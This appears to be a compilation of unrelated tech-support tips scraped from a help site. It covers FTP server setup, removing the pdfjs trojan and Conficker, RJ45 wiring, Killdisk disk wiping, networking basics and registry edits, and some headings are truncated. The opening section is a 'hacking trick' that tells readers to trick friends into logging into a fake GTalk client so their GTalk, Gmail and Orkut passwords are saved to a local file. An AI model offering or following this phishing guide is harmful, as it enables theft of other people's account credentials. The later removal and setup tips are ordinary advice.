Fake GTalk or google talk,This is one of the hacking trick to hack GTalk passwords, if ur successful in hacking his/her GTalk password & u can get Orkut & Gmail passwords also, actually this is the fake GTalk whenever anyone login in this GTalk his GTalk ID and Passwords are saved in ur system...




solution


Steps:
Step 1 - Install Microsoft .NET Framework.(I think almost everyone has this in their computers if don't click here to download )

Step 2 - click here to get fake GTalk.

Step 3 - Tell any of ur friends to login, try to fish them by saying this is the new version of GTalk try it!!!

Step 4 - Open C:\google talk.txt & dats ur frnds GTalk id & passwords..

 

Create An Ftp Server On Your Pc

solution

Process 1:
First of all u have to get an static IP-Address.
Need a a static ip-address for ur FTP Server.Necessity for getting this static ip-address is ur not suppose to use ur own IP-Address.The main reason is u dont want to show ur IP-Address to everyone , there are many other reasons too but leave them aside..

1.Goto no-ip & create urself a free account.

2.Now ur account been created & ll receive ur account password via mail to ur email address.

3.After getting ur password login to ur account of no-ip.com

4.After getting logged in, click upon add a HOST its on the left menu.

5.Type any hostname u want (eg:-saien) & select any domain from da given list (eg:-ftpserve.com) Click on Submit.

6.Now u have owned ur own static address (example: saien.serveftp.com)

7.Now click downloads button which is present above on the page & click on which operating system ur using & den download DNS update client or u can download it from here directly, this is for microsoft window users..

8.After getting downloaded, u have to install this software & login here with ur email addresss & p/w wen asked for it.

9.At last tick on da check box present at the static address.

10.U have ur own static web address.

Process 2:
Installation & setting of the FTP-Server

1.You have to install Serv-U 4.1.03 , download this software from here

2. Run Serv-U & use da wizard to setup ur FTP.

3.Click on next until u have been asked for IP-Address, leave it as it is & click upon next.

4.Enter ur domain name u have registered (example: rkchoolie.serveftp.com) it above in da domain field & click upon next.

5.U ll be asked for anonymous access, select No & click upon next.

6.Next u ll be asked for creating a named account, select yes & click upon next.

7.Choose any user name u wish (eg:-saien) & clcik upon next.

8.Enter password for dis account (eg:-@1254Rwn) for security purpose choose difficult password.

9.U ll be asked for da home directory for the account which u have created above.Select directory & click upon next.

10.Click on yes for locking dis account to da home directory, doing dis da user cannot further move up into home directory, click upon next.

11.At last ur account has been created click finish.

Process 3:
Configuring the user accounts which u have been created.

1.On the left tree-menu, select da account which u have been created above & den click upon General Tab.

2.Goto Hide 'Hidden' Files.

3. Check Allow only and enter the number one in the box.

4.Set da maximum downloading speed upto wat extent u want.As this is an account so many ll be using so set it low(eg:-10-20) to save ur bandwidth.Don't leave it blank as uers can download with full bandwidth.

5.choose how many users u want to login at on time.It depends on ur connection speed try these (56 - 1, ISDN - 3, ADSL or cable - 5-6 users.)

6.Click upon Dir Access Tab.

7.Now u can c home folder here.Highlight it & make ur permission.

8.If u want only users to download check only these Read,List & Inherit.

9.If u want ur users to upload into ur server & bu tto only 1 particular folder but not to downlaod, click upon dat add button & then select dat folder, Now u have to highlight dat folder & set these permissions on dat folder.Check,Write,Appened,List,Create & Inherit after setting these permissions click on the arrow which is present at the bottom right-hand corner.U want dis upload folder 2 be list first, before da home folder.

10.If der is any folder which u dont want anyone to access it, & it is present in the home folder, den click da add button & den select da folder.Now u have to highlight dat folder & see dat no all da checkboxes are left.After doing this click upon upper arrow which is present at bottom right hand corner.

11.There r many things u can do, These are only the basics....

12. Ur server is now ready to be connected..

13. Login with ur username & password...

Trojan: Troj/pdfjs-ge

• Issue
• Solution
• Note

Issue

My anti-virus detects a troj/pdfjs-ge when I'm offline everything works fine but somehow when I log on to the internet sometimes my web browser will freeze up now I have been dealing with this for awhile now and at this point I think someone has opened up a back door I use webroot and I think its a good program but it still lets these viruses come through.. How do I find out if there is a back door open?

Solution

It just came to me when I reread your post, pdfjs, by the abbreviation I now know that the trojan is a malicious pdf file that contains embedded JavaScript to exploit vulnerabilities to install more malware.

Here is how you will get rid of this trojan

Download, install and run Malwarebyte which you can find on this site:

http://en.kioskea.net/telecharger/telecharger-105-malwarebyt es-anti-malware

Once your computer is clean and working normally just to be on the safe side

• Turn off system restore and wait 30 seconds,
• Turn it back on and create a new restore point.

This way it gets rid of anything bad that might have gotten saved in a restore point and you have a clean restore point to use in the near future if needed.
Do not turn it off until your computer is clean and working normally because you might need to use it if something goes wrong during the clean-up process.
It is better to go back to an infected restore point if something goes wrong then to not be able to undo changes that were damaging.

How to remove the virus CONFICKER / DOWNADUP / KIDO?

• What is the Conficker?
• How to avoid being infected by Conficker?
• Disinfect a computer affected by Conficker
  • Preliminary
  • Remove infection

What is the Conficker?

Conficker (also known under the names of Downup, Downandup and Kido) is a worm that first appeared in October 2008. It would have so far infected millions of computers, especially in companies or institutions such as the French Navy, hospitals or the British Royal Navy! This threat is taken seriously, Microsoft has even promised a reward of 250 000 dollars to anyone who would give information to stop the author of this worm.

When it is installed in a computer, Conficker disables the Windows updates and some security software. It then connects to a server, allowing an attacker to gain complete control to retrieve personal information, install other malicious software or conduct illegal acts (send e-mail spam, attack a website for the disable etc ...).

How to avoid being infected by Conficker?

This infection uses a Windows vulnerability to propagate. A patch correcting this vulnerability was published on October 15 by Microsoft, but as often, many users have not installed it. If you have disabled automatic updates and have not yet installed this patch, you can download it here:
http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx

Conficker can also spread through removable drives (USB keys, external hard drives etc. ...) and within an open network or protected by weak passwords. Use FlashDisinfector to vaccinate your removable disks, and secure your networks using strong passwords.

Disinfect a computer affected by Conficker

Preliminary

Take precautions to prevent the virus from spreading and to prevent reinfect the computer again disinfection.

• Temporarily disconnect your computer from the network.

• Stop the server temporarily:
Start Menu → Run (or search bar in Windows Vista) → type services.msc and click OK.
Right-click on the "Server" → Properties. Click "Stop", set Startup type to "Disabled" and click OK.

• Disinfect and vaccinate all removable drives (USB keys, external hard drives, mp3 players ... etc) with FlashDisinfector.

• Download the Microsoft patch to fix the vulnerability exploited by Conficker:
http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx

It is likely that you can not do it from your computer: in this case, taking it from another and upload the patch on a removable disk vaccinated (see above).

Remove infection

Once all these precautions, you can start disinfecting itself.

• First try to scan the computer with your antivirus, or MalwareBytes Anti-Malware for example. You can post the report on the forum Viruses / security so that helps you to read.

• Microsoft also provides a tool for removing malicious software (MSRT), which can help to disinfect (you can find explanations for deployment on a corporate network on the Microsoft site).

• F-Secure (which works with Microsoft on Conficker) offers a removal tool targeted this infection:
http://www.f-secure.com/v-descs/worm_w32_downadup_gen.shtml

• However, Conficker is quite difficult to remove, because it creates files that are associated with legitimate Windows process as Svchost. It is therefore possible that all previous recommendations are not enough: in this case, feel free to post a message on the forum Viruses / security.

How to crimp a cable RJ45 ?

• What you need?
• How to proceed?
• Making a straight cable
• The standard EIA / TIA 568 (A & B)
• For crossover cable 10/100baseT
• To complete crossover cable or cross gigabit
  • On Gbic 1000BaseT eg
• An image to better understand the coding

What you need?

A reasonable length FTP cable
Two tips RJ45
A clip crimp

How to proceed?

Strip the cable to 2 cm at each end and separate the strands.


They are usually divided into 4 twisted pairs of colors:

Orange / orange-white
Green / green-white
Blue / white and blue
Brown / brown-white

Making a straight cable

To obtain a straight cable, the tips must be crimped typically the same way at each end by respecting the twisted pair size.



In general, the code used is:

1) orange-white
2) orange
3) green-white
4) Blue
5) blue-white
6) Green
7) brown-white
8) brown
For a crossover cable

To obtain a crossover cable, reverse the parts 1 / 2 and 3 / 6, so on the one hand the same cable as above, and the other as follows:

1) green-white
2) green
3) orange and white
4) Blue
5) blue-white
6) orange
7) brown-white
8) brown

The standard EIA / TIA 568 (A & B)

Straight cable

1) white-green 1) white-green
2) green 2) green
3) white-orange 3) white-orange
4) Blue 4) blue
5) white-blue 5) white-blue
6) Orange 6) orange
7) white-brown 7) white-brown
8) brown 8) brown

For crossover cable 10/100baseT

1) white-green 1) white-orange
2) Green 2) orange
3) white-orange 3) white-green
4) Blue 4) blue
5) white-blue 5) white-blue
6) Orange 6) green
7) white-brown 7) white-brown
8) brown 8) brown

To complete crossover cable or cross gigabit

On Gbic 1000BaseT eg

1) white-green 1) white-orange
2) Green 2) orange
3) white-orange 3) white-green
4) Blue 4) white-brown
5) white-blue 5) brown
6) Orange 6) green
7) white-brown 7) blue
8) Brown 8) white-blue

Format your computer using Killdisk

Killdisk is used to totally format data from your hard drive. When it is used there is no way of restoring your data. Killdisk is really useful if you get infected by some viruses, which will format everything!


To be able to use Killdisk you must burn it and then boot it when starting your pc.
• Download killdisk here: http://software.lsoft.net/boot-cd-iso.zip
• Extract boot-cd-iso.zip, then use Nero to burn the image: BOOT-DSK.iso
• Configure your BIOS and set the Boot Device Priority to your CD/DVD Reader.

1. Insert the Killdisk bootable CD and it will load the CD contents:

2. Choose Active@KILLDISK (FREE) and press ENTER

3. A message will then appear about free version then press Enter to accept:

4. Select the partition on your hard drive which you wish to format( example: VBOXHARDDISK (80h)) then press F10


5. Leave the ‘’One Pass Zeros’’ method then press F10:


6. Type: ERASE-ALL-DATA press ENTER. So now the formatting will start which can take some hours depending on your computer’s configuration.

7. When the formatting is done a report will appear:

8. Press twice on Esc then you will be asked if you want to close Killdisk, press ENTER:


You can now remove the Killdisk CD and boot your windows or linux installation CD to begin installation.

What is Mailskinner.exe?

• Uninstalling
• Disinfecting

Mailskinner is an email application that proposes the program mailskinner.exe to its users. This program will allow you to personalize your emails by adding fancy graphics to them. However, some users might not appreciate this feature as it might be very bulky to send and often contains some Trojans in them.

Uninstalling

1. Click Start> Control Panel> Add/Remove Programs and uninstall if present MailSkinner. If the program shows any resistance to removal, try to uninstall in Safe Mode.
2. Click Start> My Computer> C: \> Program Files, and delete this folder: MailSkinner. If the file persists, delete it in Safe Mode (see above for access)
3. Do this to complete the deletion of files created by MailSkinner:

Display all hidden files and folders:
Click Start> Control Panel> Tools> Folder Options> Display
Check "Show hidden files and folders"
Click Apply and OK.
Click Start> My Computer> C: \> Documents and settings> All Users> Application data, and delete the file if present MailSkinner.
4. Do the same with the other records of meetings, for example:
C:/Documents and Setting/ > /Application data
MailSkinner delete them if present.

Disinfecting

Download this CCM folder on your desktop.
Click here to download: http://majorgeeks.com/Brute_Force_Uninstaller_BFU_d4714.html

1. Restart your PC in Safe Mode.
2. Install BFU.
3. Double-click BFU.exe
Click the small yellow folder at the top of this right, then double-click EGDACCESS.bfu
Click Execute and let it do the work (a window "Complete script execution" appears, click OK)
Then click Exit to exit the program.
4. Click Start> Search. In the first search bar, type exactly this (in bold):. Ren Start the search. Once it is complete, you should see several lines appear, delete them.
5. Restart your PC normally.

If it comes in a loop to restart in Safe mode:
Click Start, Run, type: msconfig
Uncheck SafeBoot in the BOOT.INI tab. Click Apply and OK and choose Restart Now.

What is a switch?

at is a switch?

A switch is a device used to interconnect several computers to one local area network. They are used in offices and even at home. It operates at the layer two, Data Link Layer of the OSI model. Most network switches look like network hubs but doesn’t really work like hubs!

It can support 10/100 Mbit/s and the maximum is 10/100//1000 Mbit/s of port transfer rates.

There are four types of switches:
• Unmanaged switch
• Managed switch
• Smart Switch
• Enterprise managed switch

Unmanaged switch:

This type of switch is used very cheap and is used in small offices or at home which have minimal functions. So you can manage data flow connecting a shared printer and several Pcs.

Managed switch:

Managed switch has multiple functions and even a software which you can use to edit the settings of the switch with a user interface. It can be also updated. So these types of switch are for well experienced users!

Smart switch:

This is the middle rank switch which also has a user interface but which is web-based.

Enterprise-managed switch:

This type of switch is used in big companies or organizations it has a wide range of variable settings. This switch must be handled by IT network administrators and must be monitored all the time.. depending on the size of the network!

The Proxy Server

hat is a Proxy?

• Filtering
• Authentication
• Storage of Logs

A proxy server can be a computer or a module that acts as a go-betweens between a Web browser and the Internet. The proxy is involved in network security. Proxy servers can secure and improve access to certain web page by storing cached. Thus when a browser sends a request on the request of a Web page that was previously stored, the response and display times are improved. The user accesses the site faster and does not saturate the proxy to exit.
Proxy servers also enhance security in certain Web content filtering and malware.

Filtering

Filtering is applied depending on the security policy in place on the network. This allows you to block using a black list, the malicious sites or irrelevant to the work of the company.

Authentication

To limit access to external network, and strengthen the security of local network, it may be necessary to develop an authentication system to access external resources.
This is enough deterrent for users wishing to visit sites contrary to the charter of their information systems. They feel used and are "wise" in their research.

Storage of Logs

The storage of logs of sites visited and pages viewed allows the network administrator to redefine the security policy of the network and / or interfere with a user who frequently visit malicious sites or unrelated to the activity of the company.
The proxy "anonymous"

In addition to hide IP address, an anonymous proxy can delete:

• Cookies
• Pop-ups
• Banners
• Scripts

Confidential information in input area (login and password)

How to reset your Nokia

• Soft Reset
• Hard Reset
• Note

Your Nokia phone isn't working properly or not responding quickly.Below are tips on how to reset your Nokia Mobile phones:

Soft Reset

Soft Reset will clear pending errors and bring your mobile to an initial state by restoring Factory setting. To operate this function on your mobile, the shortcut is: *#7380#

This function apparently works on almost all nokia mobile phones.

Hard Reset

It may happen that despite you have restored your mobile to factory setting, the error still exist. In this case, it is recommended that you opt for Hard reset

Enter the code: *#7370# and press Yes to confirm initialization.

Important Notice: It is recommended that you save all important information on your phone (e.g: memo, contacts etc)

What is network architecture?

• Definition
• Topology
• Types of networks

Definition

Network architecture, is the logical and structural layout of the network consisting of transmission equipment, software and communication protocols and infrastructure (wired or wireless) transmission of data and connectivity between components .

Topology

There are 4 different network topology: star network, a bus or line network, a loop or ring network, (hierarchical) or a mesh network.

Types of networks

The different topologies can be arranged in different fashion described as LAN (Local Area Network), MAN (Metropolitan Area Network) and WAN (Wide Area Network) where the network extends over a local area (<1 km), metropolitan (<100 km) and long distance.

[Networks] Hub, switch and router

• Introduction
• The hardware

Introduction

Depending on the size and type of network these 3 types of hardware are used: The Hubs, Switches and Routers.

The hardware

The Hub

The hub (hub) is the network hardware, the most basic. It is used for a LAN with a very limited number of machines. It is neither more nor less than 'RJ45 strip' which amplifies the signal network (10/100 Base).

The hubs works at the first layer of the OSI model

The Switch

The switch it works at the first two layers of the OSI model, it distributes data to each t machine, while the hub functionality sends all data to all machines that respond. Designed to work on networks, with a number of machines slightly higher than the hub, it eliminates the possible packet collisions (a collision appears when a machine tries to communicate with a second while another is already in communication with it).

Router

The router allows the use of several classes of IP addresses within the same network. It allows the creation of subnets.

It is used in larger installations, where it is needed to create multiple subnets. When the Internet connection use a RJ45 cable it is necessary to use a router to connect a sub-network to the Internet, because these two classes of connections used are different. They also act as firewall (firewall) to protect the installation.

The Repeater

This amplifies the signal for networks that extend over long distances.

Windows cannot configure wireless connection

If you have the following error message:

Windows can not configure the wireless connection, if you have authorized a program to manage the wireless connection, use this program if you want Windows to configure this wireless connection, start the wireless auto configuration. For more info, see article 871122 in the Knowledge Base on the Microsoft site

If no software to wireless network was provided with the wireless network adapter:

• Click on Start / Run, then type the following command:

ncpa.cpl

• Then click on OK.
• Go to Network Connections.
• Select the wireless connection and then Change connection settings.
• In the Wireless connection tab, check Use Windows to configure my wireless network.
• Activate the "Wireless Zero Configuration":
• Go to Start / Run, enter:

SystemRoot% \ system32 \ services.msc / s

• Double-click on Wireless Zero Configuration.
• In the Startup type box, click Automatic, and then select Apply.
• In Service status, click Start and press OK.

Sharing Internet connection using bridge mode

• Sharing via bridge mode
• Installing bridge-utils
• Notes

Internet connection can be shared with another computer if you have a free Ethernet port

Sharing via bridge mode

When using a box, first activate the router functions of your box so that it can assign different IP to each PC.

E.g
Imagine that you have a PC with 2 Ethernet interface:

eth0 is connected to the Internet (and is automatically assigned IP 192.168.0.x by the dhcp.
eth1 is a free interface (configured with a fixed IP 10.0.0.1).



Your /etc/network/interfaces file must look like this:

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto eth1
iface eth1 inet static
address 10.0.0.1
netmask 255.255.255.0

We will connect a second PC to the eth1 port like this:



Making use of the bridge implies that any Ethernet frame received on an ethernet interface (eth0 or eth1) will be re-issued on the other. Just like hen connecting 2 PC via a hub.



PC2 will have its IP address automatically assigned by the box, and can connect directly to the Internet.
Installation

Installing bridge-utils

Type: sudo apt-get install bridge-utils

Change the configuration

Modify the /etc/network/interfaces file

auto lo
iface lo inet loopback

auto br0
iface br0 inet dhcp
bridge_ports eth0 eth1

auto eth1
iface eth1 inet static
address 10.0.0.1
netmask 255.255.255.0

Remove Write Protection on Pen drive

Issue

This a very common problem when using USB flash drives. Sometimes when you try to copy or delete files you get an error message “Remove the write-protection or use another disk”. It won’t also allow you to format!

Solution

To remove write protection:

• Open Start Menu >> Run, type regedit and press Enter, this will open the registry editor.
• Navigate to the following path:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies

• Double click the key WriteProtect in the right pane and set the value to 0
• In the Value Data Box and press OK button
• Exit Registry, restart your computer and then again re-connect your USB pen drive on your computer.

Add a background picture to your USB flash drive

You can add a background picture to your USB flash drive! This is very easy to do, it takes just some minutes!

Solution

Please follow these steps:

• Open your flash drive
• Copy a picture in it and rename it as test.jpg
• Right click and create a new Text file, open it
• Paste these codes:

[ExtShellFolderViews]
{BE098140-A513-11D0-A3A4-00C04FD706EC}={BE098140-A513-11D0-A3A4-00C04FD706EC}
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
IconArea_Image=test.jpg

• Save the file as desktop.ini

Refresh by pressing F5 key!

Making a backup of your registry

Here below you should two simple methods on how to make a backup and to restore your registry.

Export/ Import

Firstly open your registry editor: click on Start Menu /Run / type in the following command: regedit.

Click on File /Export. Enter File name and select a path. Ensure that the file extension is .reg and in the Export range field select All



Click on save to validate operation.

To restore the registry when using this method, simply click on File/ Import.

This method is quite simple and useful, but if one of the registry keys is modified or deleted, causing your system to fail and you can’t restart your PC, this backup shouldn’t be of any use.

The second method allows you to restore your registry base in case of system failure.

Making a backup and restoring your registry using the Windows Recovery Console

The Recovery Console is accessible from the Windows XP installation CD.

The aim is make a copy of certain files (SYSTEM, SOFTWARE, SAM, SECURITY and DEFAULT) found in the WINDOWS/System32/Config folder

The first step is to create a folder to store the copy of these files (E.g.: C:\ Backup).

Insert the XP installation CD; restart your PC, using your CD Drive as First Boot Device.

After the Installation Files are copied, Windows will ask you whether you want to Install Windows XP or Repair.

Type on the R key to select the repair option.

Go to the line ''on which installation of Windows''

Type 1 and enter your password.

After the command line: C:WINDOWS> enter the following command :

copy C:\Windows\system32\Config\SYSTEM C:\Backup

Type in Exit to quit and restart your PC.